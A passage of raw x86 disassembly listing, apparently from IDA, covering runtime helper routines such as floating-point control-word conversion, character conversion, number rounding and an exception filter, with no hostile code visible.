--------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423CF8: ; CODE XREF: sub_423BF4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423D29 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2700000h nop cmp eax, ebx jz short loc_423D29 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 2600000h nop jmp short loc_423D2B ; --------------------------------------------------------------------------- loc_423D29: ; CODE XREF: sub_423BF4+61j ; sub_423BF4+9Bj ... xor eax, eax loc_423D2B: ; CODE XREF: sub_423BF4+93j ; sub_423BF4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423BF4 endp ; =============== S U B R O U T I N E ======================================= sub_423D3D proc near ; CODE XREF: sub_41F4BF+61p ; sub_42037B+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DAB60 jb short loc_423D4C xor eax, eax retn ; --------------------------------------------------------------------------- loc_423D4C: ; CODE XREF: sub_423D3D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DAA60[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423D3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423D63 proc near ; CODE XREF: sub_41F5D4+2D4p ; sub_41F5D4+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423D6F pop ebp retn ; --------------------------------------------------------------------------- loc_423D6F: ; CODE XREF: sub_423D63+8j cmp dword_4D97D0, 0 jnz short loc_423D8A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423DBC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423D8A: ; CODE XREF: sub_423D63+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43A88C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4D97E0 nop call near ptr 2841072h test eax, eax jz short loc_423DBC cmp [ebp+arg_0], 0 jz short loc_423DC9 loc_423DBC: ; CODE XREF: sub_423D63+1Ej ; sub_423D63+51j mov dword_4D9714, 2Ah or eax, 0FFFFFFFFh loc_423DC9: ; CODE XREF: sub_423D63+57j pop ebp retn sub_423D63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DCB proc near ; CODE XREF: sub_420445+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423DEE cmp [ebp+arg_8], ebx jz short loc_423DEE mov al, [esi] cmp al, bl jnz short loc_423DF4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423DEE mov [eax], bx loc_423DEE: ; CODE XREF: sub_423DCB+Cj ; sub_423DCB+11j ... xor eax, eax loc_423DF0: ; CODE XREF: sub_423DCB+42j ; sub_423DCB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423DF4: ; CODE XREF: sub_423DCB+17j cmp dword_4D97D0, ebx jnz short loc_423E0F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423E0A movzx ax, al mov [ecx], ax loc_423E0A: ; CODE XREF: sub_423DCB+36j ; sub_423DCB+C0j push 1 pop eax jmp short loc_423DF0 ; --------------------------------------------------------------------------- loc_423E0F: ; CODE XREF: sub_423DCB+2Fj mov ecx, off_43A680 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423E6C mov eax, dword_43A88C cmp eax, 1 jle short loc_423E53 cmp [ebp+arg_8], eax jl short loc_423E5D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4D97E0 call near ptr 2700000h nop test eax, eax mov eax, dword_43A88C jnz short loc_423DF0 loc_423E53: ; CODE XREF: sub_423DCB+5Cj cmp [ebp+arg_8], eax jb short loc_423E5D cmp [esi+1], bl jnz short loc_423DF0 loc_423E5D: ; CODE XREF: sub_423DCB+61j ; sub_423DCB+8Bj ... mov dword_4D9714, 2Ah or eax, 0FFFFFFFFh jmp short loc_423DF0 ; --------------------------------------------------------------------------- loc_423E6C: ; CODE XREF: sub_423DCB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4D97E0 nop call near ptr 2700000h test eax, eax jnz loc_423E0A jmp short loc_423E5D sub_423DCB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423EA0 proc near ; CODE XREF: sub_420445+797p ; sub_420445+7E7p cmp cl, 40h jnb short loc_423EBA cmp cl, 20h jnb short loc_423EB0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423EB0: ; CODE XREF: sub_423EA0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423EBA: ; CODE XREF: sub_423EA0+3j xor eax, eax xor edx, edx retn sub_423EA0 endp ; =============== S U B R O U T I N E ======================================= sub_423EBF proc near ; CODE XREF: sub_420EBB+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423F0B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423EDD test al, 80h jz short loc_423F0B test al, 2 jnz short loc_423F0B loc_423EDD: ; CODE XREF: sub_423EBF+14j cmp dword ptr [esi+8], 0 jnz short loc_423EEA push esi call sub_4238F7 pop ecx loc_423EEA: ; CODE XREF: sub_423EBF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423EFA cmp dword ptr [esi+4], 0 jnz short loc_423F0B inc eax mov [esi], eax loc_423EFA: ; CODE XREF: sub_423EBF+30j test byte ptr [esi+0Ch], 40h jz short loc_423F11 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_423F17 inc eax mov [esi], eax loc_423F0B: ; CODE XREF: sub_423EBF+9j ; sub_423EBF+18j ... or eax, 0FFFFFFFFh loc_423F0E: ; CODE XREF: sub_423EBF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_423F11: ; CODE XREF: sub_423EBF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_423F17: ; CODE XREF: sub_423EBF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423F0E sub_423EBF endp ; =============== S U B R O U T I N E ======================================= sub_423F2D proc near ; CODE XREF: sub_4214AB+52p xor eax, eax retn sub_423F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423F30 proc near ; CODE XREF: sub_423F65+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_423F7B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42400D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_423F30 endp ; =============== S U B R O U T I N E ======================================= sub_423F65 proc near ; CODE XREF: sub_421797+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_423F30 pop ecx pop ecx retn sub_423F65 endp ; =============== S U B R O U T I N E ======================================= sub_423F7B proc near ; CODE XREF: sub_423F30+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_423F8C push 10h pop eax loc_423F8C: ; CODE XREF: sub_423F7B+Cj test bl, 4 jz short loc_423F93 or al, 8 loc_423F93: ; CODE XREF: sub_423F7B+14j test bl, 8 jz short loc_423F9A or al, 4 loc_423F9A: ; CODE XREF: sub_423F7B+1Bj test bl, 10h jz short loc_423FA1 or al, 2 loc_423FA1: ; CODE XREF: sub_423F7B+22j test bl, 20h jz short loc_423FA8 or al, 1 loc_423FA8: ; CODE XREF: sub_423F7B+29j test bl, 2 jz short loc_423FB2 or eax, 80000h loc_423FB2: ; CODE XREF: sub_423F7B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_423FEA cmp edx, 400h jz short loc_423FE7 cmp edx, 800h jz short loc_423FE3 cmp edx, esi jnz short loc_423FEA or eax, edi jmp short loc_423FEA ; --------------------------------------------------------------------------- loc_423FE3: ; CODE XREF: sub_423F7B+5Ej or eax, ebp jmp short loc_423FEA ; --------------------------------------------------------------------------- loc_423FE7: ; CODE XREF: sub_423F7B+56j or ah, 1 loc_423FEA: ; CODE XREF: sub_423F7B+4Ej ; sub_423F7B+62j ... and ecx, edi pop esi jz short loc_423FFA cmp ecx, ebp jnz short loc_423FFF or eax, 10000h jmp short loc_423FFF ; --------------------------------------------------------------------------- loc_423FFA: ; CODE XREF: sub_423F7B+72j or eax, 20000h loc_423FFF: ; CODE XREF: sub_423F7B+76j ; sub_423F7B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42400C or eax, 40000h locret_42400C: ; CODE XREF: sub_423F7B+8Aj retn sub_423F7B endp ; =============== S U B R O U T I N E ======================================= sub_42400D proc near ; CODE XREF: sub_423F30+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42401D push 1 pop eax loc_42401D: ; CODE XREF: sub_42400D+Bj test bl, 8 jz short loc_424024 or al, 4 loc_424024: ; CODE XREF: sub_42400D+13j test bl, 4 jz short loc_42402B or al, 8 loc_42402B: ; CODE XREF: sub_42400D+1Aj test bl, 2 jz short loc_424032 or al, 10h loc_424032: ; CODE XREF: sub_42400D+21j test bl, 1 jz short loc_424039 or al, 20h loc_424039: ; CODE XREF: sub_42400D+28j test ebx, 80000h jz short loc_424043 or al, 2 loc_424043: ; CODE XREF: sub_42400D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424070 cmp ecx, 100h jz short loc_42406D cmp ecx, esi jz short loc_424068 cmp ecx, edx jnz short loc_424070 or ah, 0Ch jmp short loc_424070 ; --------------------------------------------------------------------------- loc_424068: ; CODE XREF: sub_42400D+50j or ah, 8 jmp short loc_424070 ; --------------------------------------------------------------------------- loc_42406D: ; CODE XREF: sub_42400D+4Cj or ah, 4 loc_424070: ; CODE XREF: sub_42400D+44j ; sub_42400D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424086 cmp ecx, 10000h jnz short loc_424088 or eax, esi jmp short loc_424088 ; --------------------------------------------------------------------------- loc_424086: ; CODE XREF: sub_42400D+6Bj or eax, edx loc_424088: ; CODE XREF: sub_42400D+73j ; sub_42400D+77j pop esi test ebx, 40000h pop ebx jz short locret_424095 or ah, 10h locret_424095: ; CODE XREF: sub_42400D+83j retn sub_42400D endp ; =============== S U B R O U T I N E ======================================= sub_424096 proc near ; CODE XREF: sub_424135+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4240DB inc esi cmp esi, 3 jge short loc_4240D6 lea eax, [eax+esi*4] loc_4240C8: ; CODE XREF: sub_424096+3Ej cmp dword ptr [eax], 0 jnz short loc_4240DB inc esi add eax, 4 cmp esi, 3 jl short loc_4240C8 loc_4240D6: ; CODE XREF: sub_424096+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4240DB: ; CODE XREF: sub_424096+27j ; sub_424096+35j xor eax, eax pop esi retn sub_424096 endp ; =============== S U B R O U T I N E ======================================= sub_4240DF proc near ; CODE XREF: sub_424135+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_424F2C add esp, 0Ch dec esi js short loc_424131 lea edi, [ebx+esi*4] loc_424118: ; CODE XREF: sub_4240DF+50j test eax, eax jz short loc_424131 push edi push 1 push dword ptr [edi] call sub_424F2C add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424118 loc_424131: ; CODE XREF: sub_4240DF+34j ; sub_4240DF+3Bj pop edi pop esi pop ebx retn sub_4240DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424135 proc near ; CODE XREF: sub_424290+81p ; sub_424290+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424199 inc ebx push ebx push [ebp+arg_0] call sub_424096 pop ecx test eax, eax pop ecx jnz short loc_424196 push edi push [ebp+arg_0] call sub_4240DF pop ecx mov [ebp+var_4], eax pop ecx loc_424196: ; CODE XREF: sub_424135+51j mov eax, [ebp+arg_4] loc_424199: ; CODE XREF: sub_424135+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4241B9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4241B9: ; CODE XREF: sub_424135+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424135 endp ; =============== S U B R O U T I N E ======================================= sub_4241C1 proc near ; CODE XREF: sub_424290+75p ; sub_424290+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4241CF: ; CODE XREF: sub_4241C1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4241CF pop esi retn sub_4241C1 endp ; =============== S U B R O U T I N E ======================================= sub_4241DC proc near ; CODE XREF: sub_424290+5Fp ; sub_424290+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4241DC endp ; =============== S U B R O U T I N E ======================================= sub_4241E8 proc near ; CODE XREF: sub_424290+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4241EE: ; CODE XREF: sub_4241E8+12j cmp dword ptr [eax], 0 jnz short loc_424200 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4241EE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424200: ; CODE XREF: sub_4241E8+9j xor eax, eax retn sub_4241E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424203 proc near ; CODE XREF: sub_424290+C0p ; sub_424290+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424239: ; CODE XREF: sub_424203+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424239 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42426B: ; CODE XREF: sub_424203+86j cmp ebx, edi jl short loc_42427E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424285 ; --------------------------------------------------------------------------- loc_42427E: ; CODE XREF: sub_424203+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424285: ; CODE XREF: sub_424203+79j dec ebx sub ecx, 4 jns short loc_42426B pop edi pop esi pop ebx leave retn sub_424203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424290 proc near ; CODE XREF: sub_4243FC+Dp ; sub_424412+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4242FD lea eax, [ebp+var_C] xor esi, esi push eax call sub_4241E8 test eax, eax pop ecx jnz loc_4243BC lea eax, [ebp+var_C] push eax call sub_4241DC pop ecx loc_4242F5: ; CODE XREF: sub_424290+E4j push 2 loc_4242F7: ; CODE XREF: sub_424290+110j pop eax jmp loc_4243BE ; --------------------------------------------------------------------------- loc_4242FD: ; CODE XREF: sub_424290+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4241C1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424135 add esp, 10h test eax, eax jz short loc_42431E inc ebx loc_42431E: ; CODE XREF: sub_424290+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424336 lea eax, [ebp+var_C] push eax call sub_4241DC pop ecx jmp short loc_424372 ; --------------------------------------------------------------------------- loc_424336: ; CODE XREF: sub_424290+98j cmp ebx, eax jg short loc_424379 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4241C1 lea eax, [ebp+var_C] push esi push eax call sub_424203 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424135 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424203 add esp, 20h loc_424372: ; CODE XREF: sub_424290+A4j xor esi, esi jmp loc_4242F5 ; --------------------------------------------------------------------------- loc_424379: ; CODE XREF: sub_424290+A8j cmp ebx, [edi] jl short loc_4243A5 lea eax, [ebp+var_C] push eax call sub_4241DC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424203 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4242F7 ; --------------------------------------------------------------------------- loc_4243A5: ; CODE XREF: sub_424290+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424203 pop ecx pop ecx loc_4243BC: ; CODE XREF: sub_424290+55j xor eax, eax loc_4243BE: ; CODE XREF: sub_424290+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4243ED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4243F7 ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424290+14Ej cmp edi, 20h jnz short loc_4243F7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4243F7: ; CODE XREF: sub_424290+15Bj ; sub_424290+160j pop edi pop esi pop ebx leave retn sub_424290 endp ; =============== S U B R O U T I N E ======================================= sub_4243FC proc near ; CODE XREF: sub_424428+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43B008 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424290 add esp, 0Ch retn sub_4243FC endp ; =============== S U B R O U T I N E ======================================= sub_424412 proc near ; CODE XREF: sub_424455+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43B020 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424290 add esp, 0Ch retn sub_424412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424428 proc near ; CODE XREF: sub_4218D0+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4250CD push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4243FC add esp, 24h leave retn sub_424428 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424455 proc near ; CODE XREF: sub_4218D0+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4250CD push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424412 add esp, 24h leave retn sub_424455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424482 proc near ; CODE XREF: sub_42190E+65p ; sub_421A12+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4244BF mov [ebp+arg_0], ebx xor ebx, ebx loc_4244A5: ; CODE XREF: sub_424482+38j mov dl, [ecx] test dl, dl jz short loc_4244B1 movsx edx, dl inc ecx jmp short loc_4244B4 ; --------------------------------------------------------------------------- loc_4244B1: ; CODE XREF: sub_424482+27j push 30h pop edx loc_4244B4: ; CODE XREF: sub_424482+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4244A5 mov edx, [ebp+arg_8] loc_4244BF: ; CODE XREF: sub_424482+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4244D8 cmp byte ptr [ecx], 35h jl short loc_4244D8 loc_4244CB: ; CODE XREF: sub_424482+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4244D6 mov byte ptr [eax], 30h jmp short loc_4244CB ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_424482+4Dj inc byte ptr [eax] loc_4244D8: ; CODE XREF: sub_424482+42j ; sub_424482+47j cmp byte ptr [esi], 31h jnz short loc_4244E2 inc dword ptr [edx+4] jmp short loc_4244F4 ; --------------------------------------------------------------------------- loc_4244E2: ; CODE XREF: sub_424482+59j push edi call sub_41B960 inc eax push eax push edi push esi call sub_41D400 add esp, 10h loc_4244F4: ; CODE XREF: sub_424482+5Ej pop edi pop esi pop ebx pop ebp retn sub_424482 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F9 proc near ; CODE XREF: sub_42190E+3Fp ; sub_421A12+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42455D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4D9908 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_42559E mov dword_4D9930, eax add esp, 18h movsx eax, byte_4D990A mov dword_4D9928, eax pop edi movsx eax, word_4D9908 mov dword_4D992C, eax mov dword_4D9934, offset dword_4D990C mov eax, offset dword_4D9928 pop esi leave retn sub_4244F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42455D proc near ; CODE XREF: sub_4244F9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4245AB cmp ebx, edi jz short loc_4245A4 lea edi, [ecx+3C00h] jmp short loc_4245CC ; --------------------------------------------------------------------------- loc_4245A4: ; CODE XREF: sub_42455D+3Dj mov edi, 7FFFh jmp short loc_4245CC ; --------------------------------------------------------------------------- loc_4245AB: ; CODE XREF: sub_42455D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4245C3 cmp edx, ebx jnz short loc_4245C3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_42460E ; --------------------------------------------------------------------------- loc_4245C3: ; CODE XREF: sub_42455D+52j ; sub_42455D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4245CC: ; CODE XREF: sub_42455D+45j ; sub_42455D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4245E4: ; CODE XREF: sub_42455D+A6j test ecx, esi jnz short loc_424605 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_424605: ; CODE XREF: sub_42455D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_42460E: ; CODE XREF: sub_42455D+64j pop edi pop esi pop ebx leave retn sub_42455D endp ; --------------------------------------------------------------------------- push 2 call sub_41E1C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42461C proc near ; DATA XREF: ___:0043AC40o ; ___:0043B4A8o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42463F cmp dword ptr [eax+10h], 3 jnz short loc_42463F cmp dword ptr [eax+14h], 19930520h jnz short loc_42463F jmp sub_42249C ; --------------------------------------------------------------------------- loc_42463F: ; CODE XREF: sub_42461C+Dj ; sub_42461C+13j ... mov eax, dword_4D9938 test eax, eax jz short loc_42465C push eax call sub_4246B8 test eax, eax pop ecx jz short loc_42465C push esi call dword_4D9938 jmp short loc_42465E ; --------------------------------------------------------------------------- loc_42465C: ; CODE XREF: sub_42461C+2Aj ; sub_42461C+35j xor eax, eax loc_42465E: ; CODE XREF: sub_42461C+3Ej pop esi retn 4 sub_42461C endp ; --------------------------------------------------------------------------- word_424662 dw 1C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc esi inc edx add [eax+1CC85FE8h], dl add ah, byte ptr dword_4D9938[ebx] retn ; --------------------------------------------------------------------------- byte_424673 db 0FFh ; DATA XREF: ___:00429040o dd 4D993835h, 4DE89000h, 0C3021CC8h ; =============== S U B R O U T I N E ======================================= sub_424680 proc near ; CODE XREF: sub_421CE6+6Bp ; sub_4221F7+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25F0A8Bh test eax, eax jz short loc_424698 xor esi, esi loc_424698: ; CODE XREF: sub_424680+14j mov eax, esi pop esi retn sub_424680 endp ; =============== S U B R O U T I N E ======================================= sub_42469C proc near ; CODE XREF: sub_4221F7+73p ; sub_4221F7+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2660747h test eax, eax jz short loc_4246B4 xor esi, esi loc_4246B4: ; CODE XREF: sub_42469C+14j mov eax, esi pop esi retn sub_42469C endp ; =============== S U B R O U T I N E ======================================= sub_4246B8 proc near ; CODE XREF: sub_4221F7+15Bp ; sub_42461C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25F0A57h test eax, eax jz short loc_4246CC xor esi, esi loc_4246CC: ; CODE XREF: sub_4246B8+10j mov eax, esi pop esi retn sub_4246B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 